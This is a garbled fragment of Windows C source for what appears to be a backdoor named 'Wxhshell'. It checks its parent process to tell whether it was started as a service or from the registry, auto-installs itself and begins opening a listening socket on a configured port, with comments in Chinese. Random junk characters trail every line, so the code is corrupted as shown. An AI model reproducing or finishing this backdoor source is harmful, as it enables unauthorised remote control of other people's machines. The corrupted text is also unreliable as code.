ULONG UniqueProcessId; (G5xkygR9
ULONG InheritedFromUniqueProcessId; OKQLv+q5K)
} PROCESS_BASIC_INFORMATION; KF{a$d
La}o(7=s
PROCNTQSIP NtQueryInformationProcess; HP$K.a7H
{Nq?#%vdT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jf+7"![|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UpeQOC
q$^<zY
HANDLE hProcess; M1uP\Sa
PROCESS_BASIC_INFORMATION pbi; /w~C~6z
@!
$GF&x>]]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @Qo,p
if(NULL == hInst ) return 0; {mYx
#'NY}6cb$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KF$ %q((
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cj$H[K}>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d[U1.SNL
5<r)+?!n
if (!NtQueryInformationProcess) return 0; ]hUKuef
?-{IsF^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )[DpK=[N^p
if(!hProcess) return 0; B&nw#saz.
v@,XinB[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N<bD
n1)'cS5}
CloseHandle(hProcess); gX"T*d>y
kv%)K'fU4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d
H_2o
if(hProcess==NULL) return 0; oUS,+e
o*)@oU
HMODULE hMod; g*r/u;
char procName[255];
STp!8mL
unsigned long cbNeeded; 5 V rcR=?O
vz,LF=s2
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P6E1^$e
/'NUZ9
CloseHandle(hProcess); sbjtL,
`]LODgk~
if(strstr(procName,"services")) return 1; // 以服务启动 h*waRD
a^*B5G1(&
return 0; // 注册表启动 `7>K1slQ}S
} ws().IZ
L)G">T;
// 主模块 r
&c_4%y
int StartWxhshell(LPSTR lpCmdLine) [+7"{UvT
{ Fi k@hu
SOCKET wsl; Q^ q=!/qQ
BOOL val=TRUE; d'q;+jnP
int port=0; R]VTV7D
struct sockaddr_in door; |3|wdzV
7rPLnB]
if(wscfg.ws_autoins) Install(); S
`wE$so>
S r[IoF)
port=atoi(lpCmdLine); 9 G((wiE
!
fX9*0L
if(port<=0) port=wscfg.ws_port; ty9rH=1
:3 PG f
WSADATA data; <M`-`v6H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g)nXo:)&